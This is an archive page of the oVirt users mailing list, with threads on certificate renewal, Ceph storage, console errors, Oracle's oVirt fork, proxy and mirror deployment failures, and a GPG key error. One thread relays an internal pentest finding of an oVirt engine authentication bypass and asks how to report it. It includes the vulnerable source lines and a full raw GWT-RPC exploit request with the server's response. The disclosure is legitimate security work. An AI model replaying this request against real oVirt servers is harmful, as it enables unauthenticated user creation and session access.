January 2024 - Users - oVirt List Archives

How to re-enroll (or renew) host certificates for a single-host hosted-engine deployment?
by Derek Atkins 28 Jun '24

28 Jun '24

Hi, I've got a single-host hosted-engine deployment that I originally installed with 4.0 and have upgraded over the years to 4.3.10. I and some of my users have upgraded remote-viewer and now I get an error when I try to view the console of my VMs: (remote-viewer:8252): Spice-WARNING **: 11:30:41.806: ../subprojects/spice-common/common/ssl_verify.c:477:openssl_verify: Error in server certificate verification: CA signature digest algorithm too weak (num=68:depth0:/O=<My Org Name>/CN=<Host's Name>) I am 99.99% sure this is because the old certs use SHA1. I reran engine-setup on the engine and it asked me if I wanted to renew the PKI, and I answered yes. This replaced many[1] of the certificates in /etc/pki/ovirt-engine/certs on the engine, but it did not update the Host's certificate. All the documentation I've seen says that to refresh this certificate I need to put the host into maintenance mode and then re-enroll.. However I cannot do that, because this is a single-host system so I cannot put the host in local mode -- there is no place to migrate the VMs (let alone the Engine VM). So.... Is there a command-line way to re-enroll manually and update the host certs? Or some other way to get all the leftover certs renewed? Thanks, -derek [1] Not only did it not update the Host's cert, it did not update any of the vmconsole-proxy certs, nor the certs in /etc/pki/ovirt-vmconsole/, and obviously nothing in /etc/pki/ on the host itself. -- Derek Atkins 617-623-3745 derek(a)ihtfp.com www.ihtfp.com Computer and Internet Security Consultant

8 16

4.5.4 with Ceph only storage
by Maurice Burrows 25 Jun '24

25 Jun '24

Hey ... A long story short ... I have an existing Red Hat Virt / Gluster hyperconverged solution that I am moving away from. I have an existing Ceph cluster that I primarily use for OpenStack and a small requirement for S3 via RGW. I'm planning to build a new oVirt 4.5.4 cluster on RHEL9 using Ceph for all storage requirements. I've read many online articles on oVirt and Ceph, and they all seem to use the Ceph iSCSI gateway, which is now in maintenance, so I'm not real keen to commit to iSCSI. So my question is, IS there any reason I cannot use CephFS for both hosted-engine and as a data storage domain? I'm currently running Ceph Pacific FWIW. Cheers

5 10

i can't access console with noVNC or VNC client(console.vv)
by z84614242＠163.com 14 May '24

14 May '24

i installed the ovirt 4.5 engine on centos stream 9 and add a ovirt node(ovirt node 4.5 iso) to this engine. i am going to run my vm on this node. i follow the instruction to create the data center, the cluster, the storage domain, upload the image. everything is fine. and after i create a vm with ubuntu image attach, i found that i can't visit the console. when i using the noVNC, it says "Something went wrong, connection is closed", when i visit vnc with virt-viewver, is says "Failed to complete handshake Error in the pull function". i try to change the console type to Bochs one and it appear the same. i change to QXL mode and the vm can't start any more. i check the log, it says "unsupported configuration: domain configuration does not support video model 'qxl'". so now i can't visit my vm by anyway. i deploy the engine follow the official instruction and keep mostly option default but why still have this issue. why the noVNC says "Something went wrong" instead of telling me what is actually wrong

2 1

Oracle Virtualization Manager 4.5 anyone?
by Thomas Hoberg 29 Apr '24

29 Apr '24

Redhat's decision to shut down RHV caught Oracle pretty unprepared, I'd guess, who had just shut down their own vSphere clone in favor of a RHV clone a couple of years ago. Oracle is even less vocal about their "Oracle Virtualization" strategy, they don't even seem to have a proper naming convention or branding. But they have been pushing out OV releases without a publicly announced EOL almost a year behind Redhat for the last years. And after a 4.4 release in September 22, a few days ago on December 12th actually a release 4.5 was made public. I've operated oVirt 4.3 with significant quality issues for some years and failed to make oVirt 4.4 work with any degree of acceptable stability but Oracle's variant of 4.4 proved to be rather better than 4.3 on CentOS7 with no noticable bugs, especially in the Hyperconverged setup that I am using with GlusterFS. I assumed that this was because Oracle based their 4.4 in fact on RHV 4.4 and not oVirt, but since they're not telling, who knows? One issue with 4.4 was that Oracle is pushing their UE-Kernel and that created immediate issues e.g. with VDO missing modules for UEK and other stuff, but that was solved easily enough by using the RHEL kernel. With 4.5 Oracle obviously can't use RHV 4.5 as a base, because there is no such thing with RHV declared EOL and according to Oracle their 4.5 is based on oVirt 4.5.4, which made the quality of that release somewhat questionable, but perhaps they have spent the year that has passed since productively killing bugs... only to be caught by surprise again, I presume, by an oVirt release 4.5.5 on December 1st, that no one saw coming! Long story slightly shorter, I've been testing Oracle's 4.5 variant a bit and it's not without issues. But much worse, Oracle's variant of oVirt seems to be entirely without any community that I could find. Now oVirt has been a somewhat secret society for years, but compared to what's going on with Oracle this forum is teaming with life! So did I just not look around enough? Is there a secret lair where all those OV users are hiding? Anyhow, here is what I've tested so far and where I'd love to have some feedback: 1. Setting up a three node HCI cluster from scratch using OL8.9 and OV 4.5 Since I don't have extra physical hardware for a 3 node HCI I'm using VMware workstation 17.5 on a Workstation running Windows 2022, a test platform that has been working for all kinds of virtualization tests from VMware ESXi, via Xcp-ng and ovirt. Created three VMs with OL8.9 minimal and then installed OV 4.5. I used the UEK default kernels and then had an issue when Ansible is trying to create the (local) management engine: the VM simply could not reach the Oracle repo servers to install the packages inside the ME. Since that VM is entirely under the control of Ansible and no console access of any type is possible in that installation phase, I couldn't do diagnostics. But with 4.4 I used to have similar issues and there switching back to the Redhat kernel for the ME (and the hosts) resolved them. But with 4.5 it seems that UEK has become a baked-in dependency: the OV team doesn't even seem to do any testing with the Redhat kernel any more. Or not with the HCI setup, which has become deprecated somewhere in oVirt 4.4... Or not with the Cockpit wizard, which might be in a totally untested state, or.... Doing the same install on OL 8.9 with OV 4.4, however, did work just fine and I was even able to update to 4.5 afterwards, which was a nice surprise... ...that I could not repeat on my physical test farm using three Atoms. There switching to the UEK kernel on the hosts caused issues, hosts were becoming unresponsive, file systems inaccessible, even if they were perfectly fine at the Gluster CLI level and in the end the ME VM simply would not longer start. Switching back to the Redhat kernel resolved things there. In short, switching between the Redhat kernel and UEK, which should be 100% transparent to all things userland including hypervisors, doesn't work. But my attempts to go with a clean install of 4.5 on a Redhat kernel or UEK is also facing issues. So far the only thing that has worked was a single node HCI install using UEK and OV 4.5 and upgrading to OV 4.5 on a virtualized triple node OV 4.4 HCI cluster. Anyone else out there trying these things? I was mostly determined to move to Proxmox VE, but Oracle's OV 4.5 seemed to be handing a bit of a life-line to oVirt and the base architecture is just much more powerful (or less manual) than Proxmox, which doesn't have a management engine.

8 12

Changing disk QoS causes segfault with IO-Threads enabled (oVirt 4.3.0.4-1.el7)
by jloh＠squiz.net 23 Apr '24

23 Apr '24

We recently upgraded to 4.3.0 and have found that when changing disk QoS settings on VMs whilst IO-Threads is enabled causes them to segfault and the VM to reboot. We've been able to replicate this across several VMs. VMs with IO-Threads disabled/turned off do not segfault when changing the QoS. Mar 1 11:49:06 srvXX kernel: IO iothread1[30468]: segfault at fffffffffffffff8 ip 0000557649f2bd24 sp 00007f80de832f60 error 5 in qemu-kvm[5576498dd000+a03000] Mar 1 11:49:06 srvXX abrt-hook-ccpp: invalid number 'iothread1' Mar 1 11:49:11 srvXX libvirtd: 2019-03-01 00:49:11.116+0000: 13365: error : qemuMonitorIORead:609 : Unable to read from monitor: Connection reset by peer Happy to supply some more logs to someone if they'll help but just wondering whether anyone else has experienced this or knows of a current fix other than turning io-threads off. Cheers.

4 3

Deploy oVirt Engine fail behind proxy
by Matteo Bonardi 21 Mar '24

21 Mar '24

Hi, I am trying to deploy the ovirt engine following self-hosted engine installation procedure on documentation. Deployment servers are behind a proxy and I have set it in environment and in yum.conf before run deploy. Deploy fails because ovirt engine vm cannot resolve AppStream repository url: [ INFO ] TASK [ovirt.engine-setup : Install oVirt Engine package] [ ERROR ] fatal: [localhost -> ovirt-manager.mydomain]: FAILED! => {"changed": false, "msg": "Failed to download metadata for repo 'AppStream': Cannot prepare internal mirrorlist: Curl error (6): Couldn't resolve host name for http://mirrorlist.centos.org/?release=8&arch=x86_64&repo=AppStream&infra=st… [Could not resolve host: mirrorlist.centos.org]", "rc": 1, "results": []} [ ERROR ] Failed to execute stage 'Closing up': Failed executing ansible-playbook [ INFO ] Stage: Clean up [ INFO ] Cleaning temporary resources [ INFO ] TASK [ovirt.hosted_engine_setup : Execute just a specific set of steps] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Force facts gathering] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Fetch logs from the engine VM] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Set destination directory path] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Create destination directory] [ INFO ] changed: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : include_tasks] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Find the local appliance image] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Set local_vm_disk_path] [ INFO ] skipping: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Give the vm time to flush dirty buffers] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Copy engine logs] [ INFO ] TASK [ovirt.hosted_engine_setup : include_tasks] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Remove local vm dir] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Remove temporary entry in /etc/hosts for the local VM] [ INFO ] changed: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Clean local storage pools] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.hosted_engine_setup : Destroy local storage-pool {{ he_local_vm_dir | basename }}] [ INFO ] TASK [ovirt.hosted_engine_setup : Undefine local storage-pool {{ he_local_vm_dir | basename }}] [ INFO ] TASK [ovirt.hosted_engine_setup : Destroy local storage-pool {{ local_vm_disk_path.split('/')[5] }}] [ INFO ] TASK [ovirt.hosted_engine_setup : Undefine local storage-pool {{ local_vm_disk_path.split('/')[5] }}] [ INFO ] Generating answer file '/var/lib/ovirt-hosted-engine-setup/answers/answers-20201109165237.conf' [ INFO ] Stage: Pre-termination [ INFO ] Stage: Termination [ ERROR ] Hosted Engine deployment failed: please check the logs for the issue, fix accordingly or re-deploy from scratch. Log file is located at /var/log/ovirt-hosted-engine-setup/ovirt-hosted-engine-setup-20201109164244-b3e8sd.log How I can set proxy for the engine vm? Ovirt version: [root@myhost ~]# rpm -qa | grep ovirt-engine-appliance ovirt-engine-appliance-4.4-20200916125954.1.el8.x86_64 [root@myhost ~]# rpm -qa | grep ovirt-hosted-engine-setup ovirt-hosted-engine-setup-2.4.6-1.el8.noarch OS version: [root@myhost ~]# cat /etc/centos-release CentOS Linux release 8.2.2004 (Core) [root@myhost ~]# uname -a Linux myhost.mydomain 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux Thanks for the help. Regards, Matteo

7 20

ovirt-45-upstream GPG Key Error
by Matthew J Black 27 Feb '24

27 Feb '24

Hi All, We just picked up a GPG Key error when running `dnf install ovirt-engine-appliance` in preparation of a fresh oVirt v4.5.5 install on RL v9.3: ~~~ oVirt upstream for CentOS Stream 9 - oVirt 4.5 79 kB/s | 1.6 kB 00:00 Importing GPG key 0x24901D0C: Userid : "oVirt <infra(a)ovirt.org>" Fingerprint: 3C98 E81D B93D EA6D 54DE 690E 44E4 75CB 2490 1D0C From : /etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5 Is this ok [y/N]: y Key imported successfully Import of key(s) didn't help, wrong key(s)? Public key for ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64.rpm is not installed. Failing package is: ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64 GPG Keys are configured as: file:///etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5 ~~~ An error? An issue with the repo definition? Can it safely be ignored (normally I'd say "No" but its from the oVirt Tam's own repo...)? Is the fingerprint above the correct one (and for that matter, where is the GPG Key's Fingerprint recorded on the oVirt Website so that we can check compliance ourselves)? Anyway, thought I'd let people know (further details can be provide upon request) Cheers Dulux-Oz

7 13

The oVirt Counter
by Sandro Bonazzola 21 Feb '24

21 Feb '24

Hi, for those who remember the Linux Counter project, if you'd like other to know you're using oVirt and know some details about your deployment, here's a way to count you in: https://ovirt.org/community/ovirt-counter.html Enjoy! -- Sandro Bonazzola MANAGER, SOFTWARE ENGINEERING, EMEA R&D PERFORMANCE & SCALE Red Hat EMEA <https://www.redhat.com/> sbonazzo(a)redhat.com <https://www.redhat.com/> *Red Hat respects your work life balance. Therefore there is no need to answer this email out of your office hours.*

1 1

Internal pentest result : Ovirt-engine authentication bypass
by Jirka Simon 13 Feb '24

13 Feb '24

Hello ovirt comunity. We had an internal pentest here and one finding is *Ovirt-engine authentication bypass.* Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an authentication bypass. It is possible to directly call the CreateUserSessionCommand using runAction exposed by /ovirt- engine/webadmin/GenericApiGWTService. *This action explicitly enables everyone to call it:* ```/ @Override protected boolean isUserAuthorizedToRunAction() { return true; } /``` The behavior of this call differs based on the ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration option: ``` /boolean externalSsoEnabled = EngineLocalConfig.getInstance().getBoolean("ENGINE_SSO_ENABLE_EXTERNAL_SSO"); DbUser dbUser = externalSsoEnabled ? dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) : dbUserDao.getByExternalId(authzName, params.getPrincipalId());/ ``` If this option is enabled, usernames are used to locate users. If it's disabled, the externalId (which seems to be a randomly generated GUID) is used to locate users. If the specified user exists, a session is returned for the user. If the specified user doesn't exist, the user is created in the system. However, the user doesn't get assigned any group membership or rights, therefore the session creation fails because of the missing Login right. The attempt to modify the users table can be seen in the SQL error message when attempting to use a null value for the username (as the endpoint uses GWT, the payload is mostly unreadable): ``` /POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1 Host: ovirtm.xxx.xxx.cz 14 Final Report: Results of penetration testing (internal, external, Wi-Fi) 21 December 2023 Cookie: JSESSIONID=wsp3WAo63LZGHfpB__stEt4lZ7z_zZycpzIprNlT.ovirtm45; Content-Type: text/x-gwt-rpc; charset=utf-8 X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D Ovirt-Xsrf-Token: 4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375 Content-Length: 869 7|0|23|https://ovirtm.xxx.xxx.cz/ovirt- engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2 01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|- 4|22|0|1|0|1|23|2|0|0|0| HTTP/1.1 200 OK Date: Fri, 15 Dec 2023 09:42:35 GMT Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k mod_auth_gssapi/1.6.1 Expires: Thu, 14 Dec 2023 09:42:35 GMT Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: locale=cs_CZ; path=/; secure; HttpOnly; Max-Age=2147483647; Expires=Wed, 02-Jan-2092 12:56:42 GMT X-XSS-PROTECTION: 1; MODE=BLOCK Pragma: no-cache X-FRAME-OPTIONS: SAMEORIGIN Content-Disposition: attachment X-CONTENT-TYPE-OPTIONS: NOSNIFF Content-Length: 1794 Content-Type: application/json;charset=utf-8 Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5 Connection: close //OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org .ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr or/2640515959","ERROR: null value in column \"username\" violates not-null constraint\n Detail: Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, lastName, internal-authz, null, , email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 10:42:35.125994+01, namespace, firstName(a)internal-authz).\n Where: SQL statement \"UPDATE users\n SET department \u003D v_department,\n domain \u003D v_domain,\n email \u003D v_email,\n name \u003D v_name,\n note \u003D v_note,\n surname \u003D v_surname,\n username \u003D v_username,\n external_id \u003D v_external_id,\n namespace \u003D v_namespace,\n _update_date \u003D CURRENT_TIMESTAMP\n WHERE external_id \u003D v_external_id\n AND domain \u003D v_domain\"\nPL/pgSQL function updateuserimpl(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,text,character varying) line 5 at SQL statement\nSQL statement \"SELECT UpdateUserImpl(\n v_department,\n v_domain,\n v_email,\n v_name,\n v_note,\n v_surname,\n v_user_id,\n v_username,\n v_external_id,\n v_namespace)\"\nPL/pgSQL function updateuser(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,boolean,text,character varying) line 3 at PERFORM"],0,7]/ ``` Fortunately, in our deplyoment the ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration was set to false, so to create a session for the admin it would be necessary to know the admin's user externalId. However, as this is not the default configuration, it is possible that a later reinstallation could change the value. Still, it was possible to create users in the system without any authentication. What is the best way to report this security issue? Thank you Jirka

2 3

can hosted engine deploy use local repository mirrors instead of internet ones?
by iucounu＠gmail.com 03 Feb '24

03 Feb '24

Hi, hosted-engine --deploy is failing as it is trying to connect to mirrorlist.centos.org: [ INFO ] TASK [ovirt.ovirt.engine_setup : Install required packages for oVirt Engine deployment] [ INFO ] ok: [localhost] [ INFO ] TASK [ovirt.ovirt.engine_setup : Install oVirt Engine package] [ ERROR ] fatal: [localhost -> 192.168.1.187]: FAILED! => {"changed": false, "msg": "Failed to download metadata for repo 'centos-ceph-pacific': Cannot prepare internal mirrorlist: Curl error (7): Couldn't connect to server for http://mirrorlist.centos.org/?release=8-stream&arch=x86_64&repo=storage-cep… [Failed to connect to mirrorlist.centos.org port 80: Connection refused]", "rc": 1, "results": []} Opening up access to the internet is a bureaucratic procedure for us, as would be for adding all the URLs to the proxy. We have a lot of repos mirrored locally - is it possible to get hosted-engine to use the local ones? Is there a list? I had a search for files that might contain these repos in various places, but to no avail. Thanks for any help! Cam

4 4